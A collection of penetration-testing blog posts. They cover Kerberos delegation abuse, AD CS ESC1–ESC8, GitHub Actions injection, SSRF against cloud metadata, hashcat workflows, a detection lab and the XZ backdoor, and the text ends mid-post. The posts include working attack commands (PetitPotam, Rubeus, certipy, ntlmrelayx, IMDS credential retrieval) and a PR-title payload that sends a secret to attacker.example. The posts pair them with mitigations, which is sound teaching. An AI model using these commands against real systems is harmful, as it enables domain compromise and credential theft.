[{"content":"Language models are now part of most people\u0026rsquo;s workflow. The useful question is no longer whether to use them, but which parts of an engagement they improve and which parts they degrade. Having used them across roughly two years of assessment work, here is where I\u0026rsquo;ve landed.\nWhere they genuinely help 1. Tool output that nobody wants to read.\nParsing a 400 MB nmap XML export, correlating Nuclei findings against a scope list, or reshaping Zeek logs into something a client can read — this is where the time savings are real and immediate. The model is doing transformation, not reasoning, and transformation is what it\u0026rsquo;s best at.\n# Ask for a script that turns findings into a deduplicated table # Result: ~20 lines, correct on first run, done in a minute 2. Boilerplate for unfamiliar APIs.\nWriting a client for an API you\u0026rsquo;ve never touched is exactly the kind of task where a model saves an hour of documentation reading. It will get the shape right, and you correct the details. This is faster than reading the docs cold.\n3. Report drafting.\nTurning raw notes into structured prose is the single highest-value use I\u0026rsquo;ve found. The model does not need to understand the vulnerability to write it up clearly; it needs your notes about the vulnerability.\nA workflow that works well: keep notes in a consistent format during testing, then ask for a draft per section. You edit for technical accuracy. The mechanical writing disappears.\n4. Rubber duck for hypotheses.\nExplaining what you just observed and asking what else would produce that result occasionally surfaces a possibility you\u0026rsquo;d ruled out too early. Not reliable, but the cost of trying is near zero.\nWhere they actively hurt 1. Anything requiring current facts.\nTraining cutoffs and confident hallucination make models unreliable for \u0026ldquo;is this CVE exploitable\u0026rdquo; or \u0026ldquo;what is the current patch level\u0026rdquo;. I have had a model produce a plausible, entirely fictional advisory identifier. Checking every factual claim costs more than looking it up yourself.\n2. Novel exploit logic.\nModels are good at recombining known patterns. Real vulnerability research is mostly the part that isn\u0026rsquo;t a known pattern. Asking for the exploit for a bug you\u0026rsquo;ve just found, in a codebase the model has never seen, produces confident nonsense.\n3. Interpreting ambiguous evidence.\nA log line that could mean three things is exactly the situation where you need someone who understands the system. A model will pick one interpretation and present it without the hedging it deserves.\n4. Anything that touches client data.\nThis is the one that ends engagements if you get it wrong. Pasting client source code, credentials, or internal hostnames into a hosted model is a data disclosure, full stop. Where a client\u0026rsquo;s contract permits AI assistance at all, it permits it on a local or explicitly approved deployment.\nThe workflow that has held up The pattern that works is using the model as a transform and draft layer, never as the reasoning layer:\nTask Model does I do Recon triage Normalise, dedupe, group Decide what\u0026rsquo;s in scope Tooling Write the boilerplate Verify against the real API Exploitation Nothing Everything Reporting Draft from my notes Verify every technical claim Fact-checking Nothing Look it up The critical property is that every model output is treated as a draft from a fast, confident, occasionally wrong junior. That framing has kept me out of trouble.\nThe thing worth being honest about The productivity gain is real but narrower than the marketing suggests. The tasks that improved are the ones that were already mechanical — parsing, boilerplate, and prose. The tasks that define the job, which are deciding what to test, understanding what you found, and knowing what it means for the client, are unchanged.\nWhat has changed is that the mechanical work no longer consumes the time it used to. Whether that translates into better assessments depends entirely on what you do with the reclaimed hours. Doing the same work faster is the least interesting outcome; doing more thorough testing with the same budget is the one worth aiming for.\nAnd there is a real risk on the other side. A model that produces plausible output will produce plausible findings if you let it — a vulnerability report with a well-written, incorrect finding is worse than no finding at all. The verification burden sits entirely with you, and it does not get smaller because the draft arrived quickly.\n","permalink":"https://book.llcczz.org/posts/ai-assisted-pentesting/","summary":"After a couple of years of using language models in real engagements, a candid assessment of the tasks they are genuinely good at and the ones they quietly make worse.","title":"AI-Assisted Pentesting: Where LLMs Help and Where They Fail"},{"content":"Delegation exists because users need to access services that need to access other services on their behalf. Implementing that securely is genuinely hard, and AD has offered three different mechanisms over the years — each with a distinct failure mode.\nUnderstanding which one is configured, and what it gives away, is a core AD assessment skill.\n1. Unconstrained delegation A computer or user with TRUSTED_FOR_DELEGATION in its UAC flags caches the TGT of anyone who authenticates to it. That cached ticket can be reused as that user, anywhere.\nThe practical attack: find a machine with unconstrained delegation, coerce a domain controller into authenticating to it, and harvest the DC\u0026rsquo;s TGT from memory.\n# Find delegation-trusted objects Get-ADObject -Filter { userAccountControl -band 0x80000 } -Properties userAccountControl,servicePrincipalName # Or with PowerView Get-DomainComputer -Unconstrained Then coerce and collect:\n# Force the DC to authenticate to your delegation-trusted host python3 PetitPotam.py -d lab.local -u jdoe -p \u0026#39;Password123!\u0026#39; deleg01.lab.local dc01.lab.local # On deleg01, as admin — dump cached tickets Rubeus.exe dump /nowrap Any domain controller TGT in that output is domain compromise. The krbtgt ticket lets you forge golden tickets.\nThe mitigation is not configuration tuning. Unconstrained delegation is a legacy design. Remove the flag everywhere it isn\u0026rsquo;t absolutely required, and put any host that genuinely needs it in a dedicated tier.\n2. Constrained delegation Objects with msDS-AllowedToDelegateTo can delegate only to the listed SPNs. More scoped, but the classic abuse is the S4U2Self/S4U2Proxy combination: a service account configured to delegate to itself can obtain a service ticket as any user for its own SPN — effectively impersonating arbitrary users to itself.\nIf that account also has an SPN that accepts Kerberos authentication on a sensitive service, the delegation target list becomes an impersonation list:\nRubeus.exe s4u /user:svc_web /rc4:\u0026lt;hash\u0026gt; /impersonateuser:administrator \\ /msdsspn:\u0026#34;cifs/dc01.lab.local\u0026#34; /altservice:ldap /ptt The /altservice parameter is the important part: SPN suffix substitution lets a ticket issued for one service be repurposed for another on the same host. The delegation list says cifs; the ticket works for ldap.\nDetection: look for msDS-AllowedToDelegateTo values that include services on tier-0 hosts. The real finding is usually a legacy service account from an era when the tier model didn\u0026rsquo;t exist.\n3. Resource-based constrained delegation (RBCD) The newest and the most interesting. Instead of the delegating account listing its targets, the target resource lists who may act on its behalf, via msDS-AllowedToActOnBehalfOfOtherIdentity.\nThe security model inverts: to abuse it, you need write access to the resource\u0026rsquo;s attribute, not control of the delegating account.\nThat means the abuse path is an ACL finding, not a delegation finding:\n# If you can write msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object: # 1. Create or use a machine account you control # 2. Set the target\u0026#39;s RBCD attribute to point at your controlled account # 3. S4U2Self + S4U2Proxy to obtain a ticket as any user to that computer The reason this matters: any account with GenericWrite on a computer object can establish RBCD. And GenericWrite on machine objects is extremely common — for helpdesk groups, for automation accounts, for anyone who was ever granted \u0026ldquo;manage this server\u0026rdquo; without anyone thinking through what that means.\nIt also works with a machine account you can create yourself. The default MachineAccountQuota of 10 lets any domain user create up to ten computer objects, which is exactly what you need:\nimpacket-addcomputer lab.local/jdoe:\u0026#39;Password123!\u0026#39; -computer-name \u0026#39;FAKE$\u0026#39; -computer-pass \u0026#39;Passw0rd123!\u0026#39; Then configure RBCD from your controlled machine account onto the target and request the ticket.\nMitigation: set MachineAccountQuota to 0, and audit GenericWrite/WriteDacl on computer objects as seriously as you audit them on user objects. The attribute is an ACL surface, so it needs the same review cadence.\nReading the environment A practical first pass on any AD assessment:\nGet-DomainComputer -Unconstrained | select name Get-DomainUser -TrustedToAuth | select name, msds-allowedtodelegateto Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto Then, separately, search for GenericWrite on computer objects in BloodHound. The RBCD path rarely shows up in a delegation report, because nothing in the delegation configuration is wrong — the vulnerability is the ACL.\nThe pattern Across all three mechanisms the finding is the same shape: a legitimate feature granting a broad, durable impersonation capability, configured by someone who needed it to work and had no reason to think about the blast radius.\nThe mitigations differ, but the review question doesn\u0026rsquo;t. For every object that can act as, or on behalf of, another identity — who can modify that configuration, and what does the impersonation actually reach?\n","permalink":"https://book.llcczz.org/posts/kerberos-delegation-abuse/","summary":"The three flavours of Kerberos delegation, what each one hands an attacker, and why resource-based delegation is both the safest and the most abusable.","title":"Kerberos Delegation Abuse: Unconstrained, Constrained, and RBCD"},{"content":"Build systems are the highest-leverage target in a modern organisation. They hold deployment credentials, they can sign artifacts, and they usually have write access to whatever they deploy to. Unlike a domain controller, they are rarely treated as tier-0.\nThis post covers the patterns I look for when reviewing a GitHub Actions setup.\nWhere the secrets live Three places, in order of how often they leak:\n1. Workflow files. Hardcoded values in .github/workflows/*.yml. Trivially found with a code search:\ngrep -rIn -E \u0026#39;(AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{32})\u0026#39; .github/ 2. Repository and organisation secrets. Not readable through the API, but exfiltratable by anything that can modify a workflow — which is the whole problem.\n3. OIDC-issued cloud credentials. Better by design: short-lived, no stored secret. Worth checking what that token can actually do, though, because an over-scoped trust policy reintroduces the problem.\nThe dangerous triggers Not all workflow triggers are equal. Some hand control to unprivileged actors:\nTrigger Risk pull_request Untrusted code can run, but no secrets are exposed pull_request_target Untrusted PR context with base-repo secrets — dangerous combination workflow_run Runs in a privileged context triggered by an unprivileged one issue_comment Comment-triggered workflows often interpolate comment text workflow_dispatch Manual, but the inputs may be unsanitised pull_request_target is the classic. It was designed to let maintainers label or comment on PRs from forks, and it runs with the base repository\u0026rsquo;s secrets. If the workflow then checks out and builds the PR\u0026rsquo;s code, the contributor controls what executes.\nExpression injection The other recurring bug is interpolating untrusted context into a run: block:\n# Vulnerable - run: echo \u0026#34;Building ${{ github.event.pull_request.title }}\u0026#34; # A PR titled: \u0026#34;; curl https://attacker.example/$(base64 -w0 \u0026lt;\u0026lt;\u0026lt; \u0026#34;$SECRET\u0026#34;); # The title is attacker-controlled; ${{ }} is substituted into the shell script before it runs. The fix is to pass it through the environment instead, where it is data rather than code:\n- env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo \u0026#34;Building $PR_TITLE\u0026#34; This distinction — template substitution versus environment variable — is the single most common finding in Actions reviews, and it is easy to miss because both look like interpolation.\nSelf-hosted runners A self-hosted runner that accepts jobs from forks is a remote code execution primitive by design. The runner process persists between jobs, which means one malicious job can:\nread the runner\u0026rsquo;s stored credentials modify the runner\u0026rsquo;s own work directory for the next job reach the internal network the runner sits on If self-hosted runners are necessary, they should be ephemeral, isolated from production networks, and never reachable by untrusted workflows. In practice, \u0026ldquo;ephemeral\u0026rdquo; is the requirement most often skipped — a runner that survives between jobs is a persistence mechanism.\nArtifact and cache poisoning Two subtler paths:\nArtifact upload/download across workflow runs lets one run influence another. If a build job uploads a binary that a deploy job trusts, whoever controls the build controls the deploy. Cache poisoning works similarly: a cache key that an untrusted workflow can write is a cache that a trusted workflow may read. Both come down to the same principle. Anywhere an untrusted job can leave data for a trusted job, there is a trust boundary that needs an explicit validation step.\nWhat a hardened setup looks like Pin third-party actions to a commit SHA, not a tag. Tags are mutable. - uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v4.1.1 Set permissions: explicitly at the workflow level. The default GITHUB_TOKEN is more permissive than most workflows need: permissions: contents: read Prefer OIDC over stored cloud credentials, with a trust policy restricted to a specific repository, branch, and environment. Require approval for workflows touching production environments. Environment protection rules exist for this. Do not expose secrets to fork-triggered workflows. If a workflow needs a secret, it should not run on untrusted input. The review habit worth building For any repository you\u0026rsquo;re assessing, the first three things to read are .github/workflows/, the branch protection rules, and the repository\u0026rsquo;s Actions permissions. Between them they tell you who can execute code in a privileged context — and that is the question that determines the impact of everything else you find.\nThe pipeline is deployed code plus credentials plus an internet-facing trigger. Treat it the way you\u0026rsquo;d treat a jump host.\n","permalink":"https://book.llcczz.org/posts/cicd-github-actions-secrets/","summary":"Build pipelines hold credentials to everything, run code from untrusted contributors, and are rarely in scope. That combination is why they get compromised.","title":"CI/CD Pipeline Attacks: Hunting Secrets in GitHub Actions"},{"content":"Detection engineering is learned by iteration: write a rule, generate the behaviour, check the alert, fix the rule. Without a lab, that loop involves production systems, change control, and other people\u0026rsquo;s weekends.\nThe goal of this build is a lab where you can go from hypothesis to validated detection in under an hour.\nWhat the lab needs Four capabilities, nothing more:\nTelemetry collection — endpoint and network. Storage and query — something that can answer ad-hoc questions. A source of behaviour — either your own tools or an emulation framework. Rule format decoupled from the platform — so rules are portable. Endpoint telemetry: Sysmon Sysmon is still the highest signal-to-noise endpoint sensor available for free. Install with a configuration that actually enables what you need:\nsysmon64.exe -accepteula -i sysmonconfig.xml For a lab, be generous with collection. You are not paying for storage, and an event you didn\u0026rsquo;t collect is an event you can\u0026rsquo;t write a rule against:\nEvent ID Why it matters 1 Process creation — lineage and arguments 3 Network connection — process-attributed egress 7 Image load — DLLs into sensitive processes 8 CreateRemoteThread — injection patterns 11 File create — dropped payloads 12/13/14 Registry — persistence 22 DNS query — with process attribution Event ID 22 is underrated. DNS with process attribution connects a network indicator back to the process that caused it, which is often the missing link in a detection.\nNetwork telemetry: Zeek Zeek turns a packet capture into structured logs you can query. On a single lab host it works fine against a virtual interface:\nzeek -i eth1 local \u0026#34;Site::local_nets = { 10.10.10.0/24 }\u0026#34; The logs worth knowing:\nconn.log — every connection, with bytes and duration dns.log — queries and responses http.log — methods, URIs, user agents ssl.log — JA3 fingerprints and certificate details files.log — extracted file metadata ssl.log is where JA3/JA3S earns its place: a TLS fingerprint is often more stable across tooling changes than any user-agent string.\nStorage: keep it boring For a single-machine lab, a text index is enough:\n# Ship everything into a simple daily index zeek-cut \u0026lt; conn.log | head If you want to go further, Elastic with a modest resource allocation is the common choice — but do not let the platform become the project. A lab that you query with grep and jq beats a lab you never finished building.\nRules: Sigma Sigma gives you a vendor-neutral rule format that compiles to whatever backend you use. A rule for a suspicious parent-child relationship:\ntitle: Office Application Spawning Shell status: experimental logsource: category: process_creation product: windows detection: selection_parent: ParentImage|endswith: - \u0026#39;\\winword.exe\u0026#39; - \u0026#39;\\excel.exe\u0026#39; - \u0026#39;\\outlook.exe\u0026#39; selection_child: Image|endswith: - \u0026#39;\\cmd.exe\u0026#39; - \u0026#39;\\powershell.exe\u0026#39; - \u0026#39;\\wscript.exe\u0026#39; condition: selection_parent and selection_child level: high Convert with sigma-cli:\nsigma convert -t splunk rules/office_spawn_shell.yml sigma convert -t elastalert rules/office_spawn_shell.yml The rule is the artefact worth keeping; the query syntax is an implementation detail.\nProving the rule fires This is the step most people skip. A detection you have never triggered is a hypothesis, not a detection.\nGenerate the behaviour deliberately. Either run the technique yourself in a contained way, or use an emulation framework that maps to ATT\u0026amp;CK techniques:\n# After emulating the technique, check the alert grep -i \u0026#34;winword.exe\u0026#34; /var/log/lab/sysmon.json | jq \u0026#39;.EventID, .EventData.Image\u0026#39; If nothing fires, you have found either a rule bug or a coverage gap. Both are worth knowing before an incident tells you instead.\nThe loop that matters The value of this lab is not the components. It is that it makes the loop short:\nWrite a hypothesis as a Sigma rule. Generate the behaviour. Check whether the alert fired. Fix the rule; go to 2. Run that loop a few dozen times and you have a rule set you have actually validated, plus an accurate mental model of where your blind spots are. That model is worth more than any individual rule.\n","permalink":"https://book.llcczz.org/posts/detection-lab-sysmon-zeek-sigma/","summary":"A practical blueprint for a lab that lets you write a detection, generate the telemetry, and prove the rule fires — all on one machine.","title":"Building a Home Detection Lab with Sysmon, Zeek, and Sigma"},{"content":"AD CS is the escalation path that catches organisations off guard, because the vulnerable configuration looks like normal administration. A template that lets requesters supply a subject name is not a bug in the software — it\u0026rsquo;s a policy decision someone made in 2014 and nobody revisited.\nThe ESC numbering comes from the original research by SpecterOps. If you find a CA in an environment, the first hour of your assessment should be spent walking this list.\nESC1: Enrollee supplies subject The classic. A template that:\npermits enrollee-supplied subject (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) has a Client Authentication or Smart Card Logon EKU grants Enrollment rights to a low-privileged principal requesting a certificate as Administrator gets you a certificate that authenticates as the Administrator. Domain compromise from any user who can enrol.\ncertipy-ad find -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -dc-ip 10.10.10.10 -vulnerable -enabled certipy-ad req -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -ca LAB-CA \\ -template VulnTemplate -upn administrator@lab.local certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 That last command returns the Administrator\u0026rsquo;s NT hash.\nESC2: Any Purpose EKU Same shape, different mechanism. A template with the Any Purpose EKU (2.5.29.37.0) accepts the certificate for any use, including client authentication. No subject-name control needed for the client-auth case.\nESC3: Enrollment agent An Enrollment Agent template lets a delegated user request certificates on behalf of another user. If the agent certificate can be issued to a low-privileged account, that account can enrol as anyone:\ncertipy-ad req -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -ca LAB-CA -template EnrollmentAgent certipy-ad req -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -ca LAB-CA \\ -template User -on-behalf-of \u0026#39;lab\\administrator\u0026#39; -pfx jdoe.pfx ESC4: Writable template ACLs The template object itself is writable by a non-privileged principal. You don\u0026rsquo;t need a misconfigured template — you make one:\ncertipy-ad template -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -template SafeTemplate -save-old certipy-ad template -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -template SafeTemplate \\ -write-default-configuration # Now it\u0026#39;s ESC1 — enrol as Administrator, then restore certipy-ad template -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -template SafeTemplate -restore Restoring afterwards matters on an engagement: leaving a template modified is a production change you didn\u0026rsquo;t ask for.\nESC5 and ESC6 ESC5 is control over the CA object or its container in AD — a broader ACL problem that often amounts to ESC4 with extra steps.\nESC6 is the CA-level flag EDITF_ATTRIBUTESUBJECTALTNAME2, which allows a subject alternative name to be supplied in any request, regardless of template settings. Check the CA configuration:\ncertipy-ad find -u jdoe@lab.local -p \u0026#39;Password123!\u0026#39; -dc-ip 10.10.10.10 -vulnerable ESC7 and ESC8 ESC7 is ManageCA or ManageCertificates rights on the CA, which let you approve pending requests or modify CA settings — an indirect route to issuing arbitrary certificates.\nESC8 is the one that pairs with NTLM relay. If the CA publishes an HTTP enrollment endpoint and NTLM is not blocked, you can relay a coerced machine authentication to the enrollment service and receive a certificate for that machine:\nimpacket-ntlmrelayx -t http://ca.lab.local/certsrv/certfnsh.asp \\ -smb2support --adcs --template DomainController Against a domain controller, the resulting certificate lets you request a ticket as the DC — which is effectively game over.\nFixes that actually work Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from any template where it isn\u0026rsquo;t required. Where it is required, gate enrollment to a small group. Audit template ACLs. Nobody should have Write permissions on a template except CA administrators. Remove Any Purpose and the certificate-request-agent EKUs unless there is a documented use case. Require CA manager approval for sensitive templates — this breaks every auto-issue path above. Enable Extended Protection for Authentication and disable HTTP enrollment, or at minimum require HTTPS plus channel binding. Turn off EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA. Why this matters more than the average finding Certificate-based escalation survives password resets. If you have a valid client-auth certificate for an account, changing that account\u0026rsquo;s password does nothing to it. The certificate remains valid until it expires.\nWhich means the response to a suspected AD CS compromise is not \u0026ldquo;reset the password\u0026rdquo;. It is \u0026ldquo;revoke the certificate, and find out how many other certificates were issued that shouldn\u0026rsquo;t have been\u0026rdquo;.\n","permalink":"https://book.llcczz.org/posts/adcs-esc1-esc8-abuse/","summary":"Why certificate services are the most reliable escalation path in enterprise AD, and the eight misconfigurations worth checking on every engagement.","title":"Active Directory Certificate Services: ESC1 Through ESC8 in Practice"},{"content":"On-premises, an SSRF gets you access to internal HTTP services. In the cloud, it frequently gets you the workload\u0026rsquo;s identity — because every major provider exposes credentials at a well-known link-local address that anything on the instance can reach.\nThat distinction is the reason SSRF findings are rated much higher in cloud environments than the equivalent finding on a classic network.\nThe metadata endpoints Provider Endpoint Auth required AWS http://169.254.169.254/latest/meta-data/ IMDSv2 requires a token Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Metadata: true header GCP http://metadata.google.internal/computeMetadata/v1/ Metadata-Flavor: Google header AWS stands out: IMDSv1 needed no header at all, so a plain GET was enough.\nThe AWS case With IMDSv1, the path to credentials is three requests:\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # -\u0026gt; my-instance-role curl http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-role # -\u0026gt; {\u0026#34;AccessKeyId\u0026#34;:\u0026#34;ASIA...\u0026#34;,\u0026#34;SecretAccessKey\u0026#34;:\u0026#34;...\u0026#34;,\u0026#34;Token\u0026#34;:\u0026#34;...\u0026#34;,\u0026#34;Expiration\u0026#34;:\u0026#34;...\u0026#34;} You now have temporary credentials valid for the role attached to the instance. Enumerate what they can do:\nexport AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... aws sts get-caller-identity aws iam list-attached-role-policies --role-name my-instance-role The common finding is a role with permissions that far exceed the workload\u0026rsquo;s needs — a web application instance holding s3:* on every bucket in the account is a familiar result.\nWith IMDSv2 the same request fails without a session token, which is why the fix is straightforward:\naws ec2 modify-instance-metadata-options \\ --instance-id i-0123456789abcdef0 \\ --http-tokens required \\ --http-endpoint enabled Note http-endpoint enabled: the right answer is IMDSv2 required, not metadata disabled. Disabling it breaks SDK credential resolution for everything on the instance.\nThe Azure case Azure\u0026rsquo;s endpoint requires the Metadata: true header — trivially added if the SSRF lets you control headers, which most do:\ncurl -H \u0026#34;Metadata: true\u0026#34; \\ \u0026#34;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01\u0026amp;resource=https://management.azure.com/\u0026#34; The response contains an access token for the managed identity. With it:\naz account get-access-token az vm list --query \u0026#39;[].name\u0026#39; Azure\u0026rsquo;s protection is IMDS restrictions on the managed identity combined with Conditional Access — and the practical mitigation is making sure identities are scoped only to what the workload needs.\nWhy it\u0026rsquo;s so often critical An SSRF that reads metadata is not just an information disclosure. The chain is:\nRead the metadata endpoint. Obtain the workload\u0026rsquo;s credentials. Use those credentials against the provider\u0026rsquo;s API. Pivot to whatever the role can reach — often storage buckets, other instances, and sometimes IAM itself. Step 3 and 4 are where it stops being an SSRF and becomes an account-level compromise. In cloud environments this often bypasses network segmentation entirely, because the API calls go out to the provider, not across your internal network.\nHardening that holds Require IMDSv2 on AWS. One setting, removes the unauthenticated path. Do not attach over-permissive roles. An instance role with s3:* on * is the finding that turns a medium SSRF into a critical one. Block SSRF at the egress layer. An application that has no business reaching 169.254.169.254 should not be able to. Some providers now offer this as a network control. Use workload identity federation instead of long-lived credentials where possible — short-lived tokens limit the window even if leaked. Log and alert on metadata access from unexpected processes. The requests are local, but the cloud provider\u0026rsquo;s flow logs and your own agent can see them. The general point The metadata service is a credential store that happens to be reachable by anything on the instance. Treat any SSRF in a cloud workload as credential theft until proven otherwise, and treat the role\u0026rsquo;s permission set as the thing that determines actual impact.\n","permalink":"https://book.llcczz.org/posts/ssrf-cloud-metadata-imds/","summary":"Why a server-side request forgery in a cloud workload is usually a full credential compromise, and how the three major providers differ.","title":"SSRF to Cloud Metadata: Stealing IMDS Credentials"},{"content":"Cracking hashes is a resource allocation problem. Given a hash set and a time budget, you want the highest probability of recovery per GPU-hour. That means choosing an attack mode deliberately rather than running rockyou.txt and hoping.\nKnow what you\u0026rsquo;re cracking first Hash type determines everything downstream. Two rules:\nGet the mode right. RC4 Kerberos tickets (-m 13100) crack orders of magnitude faster than AES (-m 19700). Running the wrong mode wastes the entire budget. Check for the easy wins. A dump often contains NTLM (-m 1000), NetNTLMv2 (-m 5600), and Kerberos tickets (-m 13100) mixed together. Sort and attack separately — the cheap formats first. hashcat --example-hashes | grep -A3 -i \u0026#39;kerberos 5 tgs\u0026#39; Attack mode priority The ordering I use, cheapest first:\n1. Straight dictionary with the organisation\u0026rsquo;s own vocabulary. This beats generic lists more often than people expect. Build a list from:\n# Company-specific terms, then mutate cat site-scrape.txt employees.txt products.txt | tr \u0026#39;A-Z\u0026#39; \u0026#39;a-z\u0026#39; | sort -u \u0026gt; org.txt hashcat -m 1000 ntlm.txt org.txt 2. Dictionary + rules. The rule file is where the value is. A single good wordlist with best64.rule outperforms ten wordlists with no rules.\nhashcat -m 1000 ntlm.txt rockyou.txt -r rules/best64.rule hashcat -m 1000 ntlm.txt rockyou.txt -r rules/dive.rule # more aggressive 3. Mask attack once you know the policy. If AD enforces \u0026ldquo;12 characters, one of each class\u0026rdquo;, brute-forcing the full space is pointless — but a policy-aware mask can be viable:\n# Uppercase + lowercase + digits + symbol, 8 chars — exhaustive hashcat -m 1000 ntlm.txt -a 3 ?u?l?l?l?l?l?l?d # Incremental hashcat -m 1000 ntlm.txt -a 3 --increment --increment-min 8 ?a?a?a?a?a?a?a?a 4. Combinator and hybrid. -a 1 concatenates two dictionaries; -a 6/-a 7 append or prepend a mask to a dictionary. Good for Summer2024!-style patterns.\nBuilding a rule that fits the target Rather than picking from the packaged rule sets blindly, generate rules from any plaintext you already recovered. Once you crack one password in a dump, its structure tells you about the rest:\n# Convert a cracked set back into rules hashcat --stdout wordlist.txt -r rules/best64.rule | sort -u \u0026gt; expanded.txt Then feed the expanded list back in. Iterating this way — crack some, learn the pattern, target the rest — recovers more than any single long run.\nPractical notes Session management matters. Cracking runs for days. Always use -s, and use --restore rather than restarting from zero. Monitor the temperature before anything else. nvidia-smi -q -d TEMPERATURE. A card at 85°C that throttles is slower than a card at 70°C running a smaller mask. Watch the efficiency graph in real time. --status --status-timer=30. If the candidate rate collapses partway through a run, the mask is too large for the remaining budget — kill it and re-plan. Use --username when the dump has them. Saves a surprising amount of time on user:hash formats. Potfile discipline. Keep the potfile between runs; it prevents redoing work and accumulates the vocabulary you actually need. What actually limits recovery In real engagements, the binding constraint is almost never GPU throughput. It is:\nPassword policy. A 14-character minimum with a breach-list check removes most of the low-hanging fruit. Format. Managed service accounts and modern Kerberos encryption remove the fast attack entirely. Time. The client will not wait a week for a mask run that might not succeed. Which is the pragmatic version of the defensive advice: you don\u0026rsquo;t need to defeat cracking, you need to make it not worth the attacker\u0026rsquo;s time budget. Length plus a breach-list check does that more reliably than a symbol requirement.\n","permalink":"https://book.llcczz.org/posts/hashcat-password-cracking-workflows/","summary":"How to pick the right attack mode for a given hash set, and why the wordlist matters far less than the rule file.","title":"Password Cracking at Scale: Hashcat Modes, Rules, and Masks"},{"content":"On 29 March 2024, a Microsoft engineer named Andres Freund posted to the oss-security list about an odd observation: SSH logins on his Debian testing machine were taking about 500 milliseconds longer than they should, and sshd was consuming unusual CPU.\nHe traced it to a backdoor in liblzma, part of XZ Utils. Had it shipped, it would have provided remote code execution in sshd on a large fraction of Linux systems running systemd.\nWhat the backdoor did The payload targeted the systemd notification path in sshd. By hooking a function called during the authentication flow, it was positioned to inspect authentication traffic, and — with a correctly signed command — execute it before authentication completed.\nThe attacker held the private key. Nobody else could use it.\nHow it got in The mechanism is the part worth internalising, because it required no traditional vulnerability at all.\n1. Two years of community building. An account using the name \u0026ldquo;Jia Tan\u0026rdquo; began contributing to XZ Utils in late 2021, gradually taking on maintenance responsibilities for a project whose original maintainer was burning out.\n2. Social pressure on the maintainer. Multiple sockpuppet accounts pushed the original maintainer to hand over more control, including complaints that releases were too slow. This is a real pattern in open source, and it worked.\n3. Injection during the build. The malicious code was not in the source file you read. It was hidden in m4/build-to-host.m4 — a build script — alongside an obfuscated test file containing the payload, which was decoded at build time. A grep of the C sources finds nothing.\n4. Plausible deniability in the released tarball. The malicious build script existed in the release tarballs but not in the git repository. Anyone auditing the repo would see clean code; anyone building from the tarball — which is what distributions do — got the backdoor.\n5. Targeted activation. The result only interfered with sshd when built under specific conditions and running with systemd. It wasn\u0026rsquo;t a broad backdoor; it was aimed at one thing.\nWhy it was caught Almost by accident. The tell was a performance measurement — a half-second delay in SSH authentication — noticed by someone who knew what a login normally felt like and looked at the process tree instead of shrugging.\nIf the payload had been slightly more careful about CPU usage, it would plausibly have shipped in Debian unstable and Fedora rawhide and then migrated downstream over the following months.\nWhat actually works against this The uncomfortable conclusion is that most controls did not help. There was no CVE to patch, no signature to match, and no obvious behaviour to alert on. What did help:\nReproducible builds. If distributions could rebuild from source and compare binaries, a build-time injection is detectable. This is the strongest technical control in the list, and it is not widely deployed. Diffing release tarballs against the git tree. The discrepancy between the tarball and the repository was a concrete, checkable fact. Multiple maintainers with independent infrastructure. The attack depended on concentrating trust in one person. Boring anomaly detection on performance. CPU and latency baselines on core daemons would have flagged it sooner. What I took away Three things:\n\u0026ldquo;It\u0026rsquo;s open source, someone would notice\u0026rdquo; is not a security control. This was open source, in a critical path, and it survived two years and multiple releases. The review capacity does not exist at the scale people assume. Build scripts are part of the attack surface. Reviewing only the C source is reviewing the wrong artefact. Maintainer burnout is a security issue. The social engineering here exploited a resource problem — too much work for too few people — and the same approach will be tried again, on other projects, with better tradecraft. Australia\u0026rsquo;s government and several others responded with coordinated disclosure. Debian and Fedora reverted the affected versions. The near-miss framing is accurate: the bug was real, the release window was narrow, and the detection was luck as much as skill.\n","permalink":"https://book.llcczz.org/posts/xz-utils-backdoor-cve-2024-3094/","summary":"A near-miss that would have put a backdoor in sshd across major Linux distributions, undone by a curious engineer noticing sshd was 500ms slower.","title":"XZ Utils Backdoor (CVE-2024-3094): A Supply Chain Post-Mortem"},{"content":"Most evasion content starts with a bypass technique and works backwards. That\u0026rsquo;s the wrong order. The productive approach is to first understand what the sensor collects, and only then ask what it can\u0026rsquo;t see.\nThis post is the map of the data, not a catalogue of bypasses.\nThe sensor layers An EDR agent typically sits in three places at once:\nLayer Data source What it captures Kernel Callbacks (process, thread, image load, registry) Process creation, module loads, driver activity User mode DLL injection, API hooking Function arguments, command lines, .NET assembly loads Network WFP / filter driver Connections with process attribution The kernel callbacks are the durable part. User-mode hooks can be removed or re-implemented; the kernel-side event registration is far harder to escape without a driver.\nThe events that carry the signal In practice, a small number of event types drive most detections:\nProcess creation (4688 / Sysmon 1) with full command line and parent image. This is the highest-value event in the entire dataset. Lineage plus arguments answers most questions. Image loads (Sysmon 7) — unsigned or unusual DLLs, especially into sensitive processes. Network connections (Sysmon 3) — process-attributed egress. Registry modifications (Sysmon 12/13) — persistence, COM hijacking. File creation (Sysmon 11) — dropped payloads, with the option of hashing them. WMI activity (Sysmon 19-21) — a favourite for lateral movement and persistence precisely because it leaves fewer artefacts. If you only instrument one thing, instrument process creation with arguments. Most real intrusions are legible in that stream alone.\nWhy telemetry is not the same as detection Collection without detection logic is just expensive storage. The gap shows up in three places:\n1. Baseline absence. powershell.exe -enc \u0026lt;base64\u0026gt; is only suspicious if 